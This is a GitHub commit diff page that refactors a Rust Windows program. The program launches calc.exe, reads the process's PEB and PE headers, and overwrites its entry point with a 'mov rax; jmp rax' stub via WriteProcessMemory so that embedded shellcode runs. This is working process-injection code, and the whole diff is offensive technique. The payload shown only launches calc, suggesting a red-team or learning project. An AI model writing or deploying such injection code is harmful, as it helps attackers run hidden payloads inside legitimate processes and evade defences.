Skip to content

Commit 17b5cec

Browse files
committed
Optimized create_process
1 parent 747c8d5 commit 17b5cec

File tree

1 file changed

+44
-54
lines changed

1 file changed

+44
-54
lines changed

create_process/src/main.rs

Lines changed: 44 additions & 54 deletions
Original file line numberDiff line numberDiff line change
@@ -17,12 +17,23 @@ use windows_sys::Win32::System::Threading::{
1717
PROCESS_BASIC_INFORMATION, PROCESS_INFORMATION, STARTF_USESTDHANDLES, STARTUPINFOA,
1818
};
1919

20+
const X64: u16 = 0x8664_u16;
21+
const X86: u16 = 0x14c_u16;
22+
const MZ: u16 = 0x5a4d_u16;
23+
const PE: u32 = 0x4550_u32;
24+
2025
#[cfg(target_os = "windows")]
2126
fn main() {
2227
let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin");
2328
let shellcode_size = shellcode.len();
2429
let program = b"C:\\Windows\\System32\\calc.exe\0";
2530

31+
#[repr(C)]
32+
struct Peb {
33+
reserved: [c_char; 0x10],
34+
image_base_address: *mut c_void,
35+
}
36+
2637
unsafe {
2738
let mut process_info: PROCESS_INFORMATION = zeroed();
2839

@@ -92,12 +103,6 @@ fn main() {
92103
panic!("[-]NtQueryInformationProcess failed: {}!", GetLastError());
93104
}
94105

95-
#[repr(C)]
96-
struct Peb {
97-
reserved: [c_char; 0x10],
98-
image_base_address: *mut c_void,
99-
}
100-
101106
let read_process_memory = |addr: *const c_void, out: *mut c_void, size: usize| {
102107
let res = ReadProcessMemory(process_info.hProcess, addr, out, size, null_mut());
103108
if res == FALSE {
@@ -118,7 +123,7 @@ fn main() {
118123
addr_of_mut!(dos_header).cast(),
119124
size_of_val(&dos_header),
120125
);
121-
if dos_header.e_magic != 0x5a4d_u16 {
126+
if dos_header.e_magic != MZ {
122127
panic!("[-]DOS image header magic was not 0x5a4d!");
123128
}
124129

@@ -128,7 +133,7 @@ fn main() {
128133
addr_of_mut!(signature).cast(),
129134
size_of_val(&signature),
130135
);
131-
if signature != 0x4550_u32 {
136+
if signature != PE {
132137
panic!("[-]PE Signature was not 0x4550");
133138
}
134139

@@ -141,62 +146,45 @@ fn main() {
141146
size_of_val(&pe_header),
142147
);
143148

144-
let mut opt_header64: IMAGE_OPTIONAL_HEADER64 = zeroed();
145-
let mut opt_header32: IMAGE_OPTIONAL_HEADER32 = zeroed();
146-
match pe_header.Machine {
147-
0x8664_u16 => {
148-
read_process_memory(
149-
((peb.image_base_address as usize)
150-
+ (dos_header.e_lfanew as usize)
151-
+ size_of_val(&signature)
152-
+ size_of_val(&pe_header)) as *const c_void,
153-
addr_of_mut!(opt_header64).cast(),
154-
size_of_val(&opt_header64),
155-
);
156-
}
157-
0x14c_u16 => {
158-
read_process_memory(
159-
((peb.image_base_address as usize)
160-
+ (dos_header.e_lfanew as usize)
161-
+ size_of_val(&signature)
162-
+ size_of_val(&pe_header)) as *const c_void,
163-
addr_of_mut!(opt_header32).cast(),
164-
size_of_val(&opt_header32),
165-
);
166-
}
167-
_ => panic!(
168-
"[-]Unknow IMAGE_OPTIONAL_HEADER type for machine type: {:#x}",
169-
pe_header.Machine
170-
),
171-
}
149+
let entrypoint;
150+
let mut ep_buffer = vec![];
172151

173-
let ep = match pe_header.Machine {
174-
0x8664_u16 => {
152+
let read_opt_header = |header: *mut c_void, size: usize| {
153+
read_process_memory(
175154
((peb.image_base_address as usize)
176-
+ usize::try_from(opt_header64.AddressOfEntryPoint)
177-
.expect("[-]usize::try_from failed!")) as *mut c_void
178-
}
179-
0x14c_u16 => {
180-
((peb.image_base_address as usize)
181-
+ usize::try_from(opt_header32.AddressOfEntryPoint)
182-
.expect("[-]usize::try_from failed!")) as *mut c_void
183-
}
184-
_ => panic!(
185-
"[-]Unknow IMAGE_OPTIONAL_HEADER type for machine type: {:#x}",
186-
pe_header.Machine
187-
),
155+
+ (dos_header.e_lfanew as usize)
156+
+ size_of_val(&signature)
157+
+ size_of_val(&pe_header)) as *const c_void,
158+
header,
159+
size,
160+
);
188161
};
189162

190-
let mut ep_buffer = vec![];
191163
match pe_header.Machine {
192-
0x8664_u16 => {
164+
X64 => {
165+
let mut opt_header: IMAGE_OPTIONAL_HEADER64 = zeroed();
166+
read_opt_header(addr_of_mut!(opt_header).cast(), size_of_val(&opt_header));
167+
168+
entrypoint = ((peb.image_base_address as usize)
169+
+ usize::try_from(opt_header.AddressOfEntryPoint)
170+
.expect("[-]usize::try_from failed!"))
171+
as *mut c_void;
172+
193173
// rex; mov eax
194174
ep_buffer.push(0x48_u8);
195175
ep_buffer.push(0xb8_u8);
196176
let mut shellcode_addr = (addr as usize).to_le_bytes().to_vec();
197177
ep_buffer.append(&mut shellcode_addr);
198178
}
199-
0x14c_u16 => {
179+
X86 => {
180+
let mut opt_header: IMAGE_OPTIONAL_HEADER32 = zeroed();
181+
read_opt_header(addr_of_mut!(opt_header).cast(), size_of_val(&opt_header));
182+
183+
entrypoint = ((peb.image_base_address as usize)
184+
+ usize::try_from(opt_header.AddressOfEntryPoint)
185+
.expect("[-]usize::try_from failed!"))
186+
as *mut c_void;
187+
200188
// mov eax
201189
ep_buffer.push(0xb8_u8);
202190
let mut shellcode_addr = (addr as usize).to_le_bytes().to_vec();
@@ -207,13 +195,14 @@ fn main() {
207195
pe_header.Machine
208196
),
209197
}
198+
210199
// jmp [r|e]ax
211200
ep_buffer.push(0xff_u8);
212201
ep_buffer.push(0xe0_u8);
213202

214203
let res = WriteProcessMemory(
215204
process_info.hProcess,
216-
ep,
205+
entrypoint,
217206
ep_buffer.as_ptr().cast(),
218207
ep_buffer.len(),
219208
null_mut(),
@@ -231,6 +220,7 @@ fn main() {
231220
if res == FALSE {
232221
panic!("[-]CloseHandle failed: {}!", GetLastError());
233222
}
223+
234224
let res = CloseHandle(process_info.hThread);
235225
if res == FALSE {
236226
panic!("[-]CloseHandle failed: {}!", GetLastError());

0 commit comments

Comments
 (0)